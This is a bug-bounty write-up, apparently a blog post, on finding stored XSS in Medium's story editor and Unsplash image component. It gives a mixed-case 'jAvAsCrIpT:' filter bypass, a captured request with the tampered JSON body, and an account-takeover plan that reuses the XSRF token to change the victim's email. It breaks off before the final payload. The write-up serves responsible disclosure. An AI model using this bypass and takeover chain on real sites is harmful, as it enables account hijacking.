One night a few weeks ago, I was writing a new Medium blog post on nothing other than — why companies should embrace bug-bounty platforms until I had a writer’s block.

I thought to myself “let’s take a few minutes to do something else and then come back to it”. And what do I do when I need a break? I start messing around with the nearest application, this time it was Medium’s story editing page.

I don’t quite remember how, but I noticed that I can add links with a special schema like mailto: , and then my first thought was — if I can use mailto: , what about javascript: ?

No, that didn’t work.

I was about to move on with my life, but I had a little voice in my head that shouted

So I picked that little voice and this time I tried jAvAsCrIpT:confirm() and I couldn’t believe — that worked. 🙄

The link was added to my story, and once I opened it as a reader and clicked the link a confirm dialog popped up.

POC

The reader clicks on the link and a confirm dialog pops up

Ok, so I found a stored XSS on Medium’s bread and butter— its stories. I reported the issue and went to bed.

More, I want more

I woke up the next day with a nagging thought — It took me just 5 minutes to find a pretty simple stored XSS. Is it really so lonesome?

I’ve added an Unsplash image to a story and intercepted the request with Burp Suite. This is what the request looked like:

POST /p/8f2xxxxxxx/deltas?logLockId=970 HTTP/1.1

Host: medium.com

User-Agent: [Redacted]

Accept: application/json

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://medium.com/p/8f2xxxxxxx/edit

X-Obvious-CID: web

X-XSRF-Token: [Redacted]

X-Client-Date: [Redacted]

Content-Type: application/json

Content-Length: 536

Connection: close

Cookie: [Redacted]

{"id":"8f2xxxxxxx","deltas":[{"type":3,"index":1,"paragraph":{"name":"exxx","type":4,"text":"Photo by Some Author on Unsplash","markups":[{"type":3,"start":9,"end":17,"href":"https://medium.com/r/?url=https%3A%2F%2Funsplash.com%2F%40someauthor%3Futm_source%3Dmedium%26utm_medium%3Dreferral","title":"","rel":"photo-creator","anchorType":0},{"type":3,"start":21,"end":29,"href":"https://medium.com/r/?url=https%3A%2F%2Funsplash.com%2F%40someauthor%3Futm_source%3Dmedium%26utm_medium%3Dreferral","title":"","rel":"photo-source","anchorType":0}],"layout":1,"metadata":{"id":"0*xxxxxx","originalWidth":"\"alt='test'","originalHeight":5219,"alt":"","unsplashPhotoId":"xxxxx"}},"verifySameName":true}],"baseRev":28}

Then I replaced both href values with the same payload I used on the first XSS.

The tampered body of the request looked like:

{"id":"8f2xxxxxxx","deltas":[{"type":3,"index":1,"paragraph":{"name":"exxx","type":4,"text":"Photo by Some Author on Unsplash","markups":[{"type":3,"start":9,"end":17,"href":"jAvAsCrIpT:confirm()","title":"","rel":"photo-creator","anchorType":0},{"type":3,"start":21,"end":29,"href":"jAvAsCrIpT:confirm()","title":"","rel":"photo-source","anchorType":0}],"layout":1,"metadata":{"id":"0*xxxxxx","originalWidth":"\"alt='test'","originalHeight":5219,"alt":"","unsplashPhotoId":"xxxxx"}},"verifySameName":true}],"baseRev":28}

And guess what, it worked!

Another stored XSS in the Unsplash image component

Increasing The Impact

According to Medium’s bug-bounty page, they are only paying $100 for XSS, but I wanted to go for the jackpot:

Bugs leaking or bypassing significant security controls: $1000

Since I already had multiple stored XSS in a story I wanted to increase the impact by demonstrating a complete account takeover.

Since the session cookie is set to HTTP Only, we can’t just steal the cookie, we have to work (a bit) harder.

I went straight to my user profile and checked if I can change my email with another email without entering my password and I found out that I can. Great! So to test things, I manually changed my email, used the “magic link” feature that sends a temporary login link to my new email and I was in my account with the new email address.

Automate The Attack

The steps we need to perform are:

Get the user’s XSRF token (I remind you, no cookies for you!)

Send PUT request to the /me/email endpoint with the new email

The final payload I used: